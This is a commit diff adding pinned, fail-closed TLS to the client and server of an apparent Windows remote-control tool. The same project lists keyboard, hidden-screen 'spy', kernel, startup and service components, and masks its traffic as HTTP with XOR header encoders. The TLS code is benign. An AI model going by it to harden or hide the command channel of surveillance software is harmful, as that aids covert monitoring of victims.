Feat: One-way TLS transport for the device port
Add optional one-way TLS on the device port (6543), enabled per client via a pinned trust anchor, so new clients encrypt their transport while legacy plaintext clients keep working unchanged. Server (server/go): sniff each accepted connection and wrap TLS peers (ClientHello 0x16 0x03 + handshake type 0x01) in crypto/tls with MinVersion TLS 1.2; everything else stays on the plaintext path. TLS is enabled only when both YAMA_TLS_CERT and YAMA_TLS_KEY are set, and a cert/key load failure fails startup loudly rather than silently serving plaintext. Client (client/, Windows): Schannel one-way TLS. When the trust anchor is present — registry value Software\<exehash>\settings\tls_cert (REG_SZ holding the PEM), with fallback to settings.ini [settings] tls_cert or yama-ca.pem beside the exe — every outbound connection (main + sub-connections) completes a TLS 1.2 handshake before the app protocol and is strictly pinned to that anchor via a chain engine with hExclusiveRoot; any handshake/cert failure is fail-closed (no plaintext downgrade). Send uses EncryptMessage; Recv uses DecryptMessage and reads plaintext from the stream-mode DATA segment (bufs[1]) rather than the record header. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
8d4c118ae6
commit
ca0d7626d2
16 files changed
+1418
-5
No files matched your search
@@ -225,6 +225,7 @@
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -264,6 +265,7 @@
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
|
||||
@@ -46,6 +46,16 @@
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp" />
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
@@ -99,6 +109,19 @@
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
+34
-1
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_DataProcess = NULL;
|
||||
m_ReconnectFunc = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
#ifdef _DEBUG
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
|
||||
#else
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
#endif
|
||||
m_EncoderType = encoder;
|
||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||
#ifdef _WIN32
|
||||
@@ -463,6 +467,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
#ifdef _WIN32
|
||||
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
|
||||
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
|
||||
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
|
||||
if (TlsLoadError()) {
|
||||
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
if (TlsEnabled()) {
|
||||
if (!m_tls.Handshake(m_sClientSocket)) {
|
||||
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
m_bConnected = TRUE;
|
||||
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
|
||||
|
||||
@@ -526,6 +549,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
|
||||
// Schannel 内部缓冲),优先消费,避免被 select 卡住。
|
||||
if (This->HasPendingData()) {
|
||||
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
// Linux select() 会修改 timeval,必须每次重置
|
||||
@@ -632,7 +665,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
|
||||
}
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
|
||||
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s\n", this, bufLen, buf.c_str());
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
+24
-1
@@ -8,6 +8,7 @@
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "TlsChannel.h"
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
@@ -289,14 +290,33 @@ public:
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (TlsEnabled())
|
||||
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||||
#endif
|
||||
// TCP版本调用 recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
return n;
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (TlsEnabled())
|
||||
return m_tls.Send(m_sClientSocket, buf, len);
|
||||
#endif
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
|
||||
// 看不到 Schannel 内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
|
||||
bool HasPendingData() const
|
||||
{
|
||||
#ifdef _WIN32
|
||||
return m_tls.HasPending();
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||
@@ -305,6 +325,9 @@ protected:
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
SOCKET m_sClientSocket;
|
||||
#ifdef _WIN32
|
||||
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
|
||||
#endif
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
|
||||
@@ -0,0 +1,494 @@
|
||||
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TlsChannel.h"
|
||||
|
||||
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
|
||||
|
||||
#include <wincrypt.h> // 证书/链引擎 API
|
||||
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
|
||||
#include <io.h> // _access
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <mutex> // std::call_once
|
||||
|
||||
#pragma comment(lib, "secur32.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
namespace {
|
||||
|
||||
std::once_flag g_tlsOnce;
|
||||
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
|
||||
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
|
||||
HCERTSTORE g_tlsStore = NULL;
|
||||
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
|
||||
|
||||
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
|
||||
// yama-ca.pem。
|
||||
std::string ResolveCertPath()
|
||||
{
|
||||
std::string certPath;
|
||||
{
|
||||
config cfg;
|
||||
certPath = cfg.GetStr("settings", "tls_cert", "");
|
||||
}
|
||||
if (certPath.empty()) {
|
||||
char path[MAX_PATH];
|
||||
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
|
||||
return std::string(); // 拿不到 exe 路径,视为未配置
|
||||
char* p = path + strlen(path);
|
||||
while (p > path && *p != '\\') --p;
|
||||
strcpy(p + 1, "yama-ca.pem");
|
||||
certPath = path;
|
||||
}
|
||||
return certPath;
|
||||
}
|
||||
|
||||
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
|
||||
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
|
||||
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
|
||||
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
DWORD type = 0, size = 0;
|
||||
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
|
||||
if (r != ERROR_SUCCESS || type != REG_SZ) {
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
std::vector<char> buf(size ? size : 1, 0);
|
||||
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
|
||||
reinterpret_cast<LPBYTE>(buf.data()), &size);
|
||||
RegCloseKey(hKey);
|
||||
if (r != ERROR_SUCCESS)
|
||||
return false;
|
||||
if (size > 0 && buf[size - 1] == '\0')
|
||||
--size; // REG_SZ 的 size 含末尾 '\0'
|
||||
out.assign(buf.data(), size);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
|
||||
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
|
||||
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
|
||||
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
|
||||
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
|
||||
bool ReadTrustAnchor(std::string& pem, std::string& source)
|
||||
{
|
||||
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
|
||||
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
|
||||
// 被静默当成未配置而回退明文。
|
||||
std::string regSubKey = GetRegistryName() + "\\settings";
|
||||
std::string regVal;
|
||||
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
|
||||
pem = regVal;
|
||||
source = "registry " + regSubKey + "\\tls_cert";
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
|
||||
std::string certPath = ResolveCertPath();
|
||||
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
|
||||
return false; // 无证书 → 明文
|
||||
|
||||
std::ifstream f(certPath.c_str(), std::ios::binary);
|
||||
if (!f) {
|
||||
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
|
||||
return false;
|
||||
}
|
||||
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
source = certPath;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
|
||||
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
|
||||
{
|
||||
if (pem.empty()) {
|
||||
Mprintf("[TLS] empty certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
|
||||
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
|
||||
DWORD derLen = 0;
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
std::vector<BYTE> der(derLen);
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
|
||||
if (!cert) {
|
||||
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
|
||||
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||
if (!store) {
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertOpenStore failed\n");
|
||||
return false;
|
||||
}
|
||||
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
|
||||
CertCloseStore(store, 0);
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
|
||||
return false;
|
||||
}
|
||||
CertFreeCertificateContext(cert);
|
||||
|
||||
*outStore = store;
|
||||
return true;
|
||||
}
|
||||
|
||||
void InitTls()
|
||||
{
|
||||
std::string pem, source;
|
||||
if (!ReadTrustAnchor(pem, source)) {
|
||||
// 无证书 → 明文(默认,与老客户端一致)
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = false;
|
||||
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 证书已配置:管理员已「颁发」,必须走 TLS;加载失败即拒绝连接(fail-closed),
|
||||
// 不能静默回退明文。
|
||||
HCERTSTORE store = NULL;
|
||||
if (!LoadTrustAnchor(pem, source, &store)) {
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = true;
|
||||
Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n",
|
||||
source.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||
ec.cbSize = sizeof(ec);
|
||||
ec.hExclusiveRoot = store;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||
CertCloseStore(store, 0);
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = true;
|
||||
Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n");
|
||||
return;
|
||||
}
|
||||
|
||||
g_tlsStore = store;
|
||||
g_tlsEngine = engine;
|
||||
g_tlsEnabled = true;
|
||||
g_tlsError = false;
|
||||
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool TlsEnabled()
|
||||
{
|
||||
std::call_once(g_tlsOnce, InitTls);
|
||||
return g_tlsEnabled;
|
||||
}
|
||||
|
||||
bool TlsLoadError()
|
||||
{
|
||||
std::call_once(g_tlsOnce, InitTls);
|
||||
return g_tlsError;
|
||||
}
|
||||
|
||||
// ---- TlsChannel ----
|
||||
|
||||
void TlsChannel::CloseHandles()
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
|
||||
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
|
||||
m_ready = false;
|
||||
m_raw.clear();
|
||||
m_pending.clear();
|
||||
}
|
||||
|
||||
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
|
||||
{
|
||||
const char* p = (const char*)data;
|
||||
int sent = 0;
|
||||
while (sent < len) {
|
||||
int n = ::send(sock, p + sent, len - sent, 0);
|
||||
if (n == SOCKET_ERROR || n == 0)
|
||||
return false;
|
||||
sent += n;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TlsChannel::VerifyServerCert()
|
||||
{
|
||||
PCCERT_CONTEXT remote = NULL;
|
||||
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
|
||||
if (sc != SEC_E_OK || !remote)
|
||||
return false;
|
||||
|
||||
if (!g_tlsStore || !g_tlsEngine) {
|
||||
CertFreeCertificateContext(remote);
|
||||
return false;
|
||||
}
|
||||
|
||||
CERT_CHAIN_PARA para = {};
|
||||
para.cbSize = sizeof(para);
|
||||
PCCERT_CHAIN_CONTEXT chain = NULL;
|
||||
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
|
||||
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
|
||||
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
|
||||
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
|
||||
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, ¶,
|
||||
CERT_CHAIN_DISABLE_AIA,
|
||||
NULL, &chain);
|
||||
bool trusted = false;
|
||||
if (ok && chain) {
|
||||
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
|
||||
}
|
||||
if (chain) CertFreeCertificateChain(chain);
|
||||
CertFreeCertificateContext(remote);
|
||||
return trusted;
|
||||
}
|
||||
|
||||
bool TlsChannel::Handshake(SOCKET sock)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
|
||||
|
||||
SCHANNEL_CRED cred = {};
|
||||
cred.dwVersion = SCHANNEL_CRED_VERSION;
|
||||
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
|
||||
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
|
||||
|
||||
TimeStamp tsExpiry = {};
|
||||
SECURITY_STATUS sc = AcquireCredentialsHandleA(
|
||||
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
|
||||
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
|
||||
return false;
|
||||
}
|
||||
m_credValid = true;
|
||||
|
||||
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
|
||||
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
|
||||
|
||||
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||
ULONG attrs = 0;
|
||||
|
||||
// 首次调用产生 ClientHello
|
||||
sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP,
|
||||
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
|
||||
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
|
||||
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
}
|
||||
|
||||
std::vector<BYTE> hs;
|
||||
char raw[8192];
|
||||
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
|
||||
sc == SEC_I_INCOMPLETE_CREDENTIALS)
|
||||
{
|
||||
int r = recv(sock, raw, sizeof(raw), 0);
|
||||
if (r == SOCKET_ERROR || r == 0) {
|
||||
Mprintf("[TLS] handshake recv failed/EOF\n");
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||
|
||||
SecBuffer inBufs[2] = {
|
||||
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
|
||||
|
||||
outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||
|
||||
sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP,
|
||||
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
|
||||
|
||||
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
|
||||
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
|
||||
int extra = inBufs[1].cbBuffer;
|
||||
int consumed = (int)hs.size() - extra;
|
||||
hs.erase(hs.begin(), hs.begin() + consumed);
|
||||
} else {
|
||||
hs.clear();
|
||||
}
|
||||
|
||||
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!VerifyServerCert()) {
|
||||
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ready = true;
|
||||
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
|
||||
return true;
|
||||
}
|
||||
|
||||
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready || outLen <= 0) {
|
||||
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
|
||||
(int)m_ready, outLen);
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
if (!m_pending.empty()) {
|
||||
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||
memcpy(out, m_pending.data(), n);
|
||||
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||
return n;
|
||||
}
|
||||
|
||||
char raw[16384];
|
||||
for (;;) {
|
||||
int r = recv(sock, raw, sizeof(raw), 0);
|
||||
if (r == SOCKET_ERROR)
|
||||
return SOCKET_ERROR;
|
||||
if (r == 0)
|
||||
return 0; // 对端关闭(此时无 pending)
|
||||
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||
|
||||
for (;;) {
|
||||
SecBuffer bufs[4] = {
|
||||
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
|
||||
|
||||
if (sc == SEC_E_INCOMPLETE_MESSAGE)
|
||||
break; // 记录不完整,再 recv
|
||||
if (sc == SEC_I_CONTEXT_EXPIRED)
|
||||
return 0; // close_notify
|
||||
if (sc == SEC_I_RENEGOTIATE || FAILED(sc))
|
||||
return SOCKET_ERROR;
|
||||
|
||||
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
|
||||
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
|
||||
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
|
||||
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
|
||||
int decLen = bufs[1].cbBuffer;
|
||||
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
|
||||
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
|
||||
int consumed = (int)m_raw.size() - extra;
|
||||
m_pending.insert(m_pending.end(), plain, plain + decLen);
|
||||
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
|
||||
|
||||
if (!m_pending.empty()) {
|
||||
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||
memcpy(out, m_pending.data(), n);
|
||||
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||
return n;
|
||||
}
|
||||
if (m_raw.empty())
|
||||
break; // 无明文(如 alert/CCS 记录),继续 recv
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
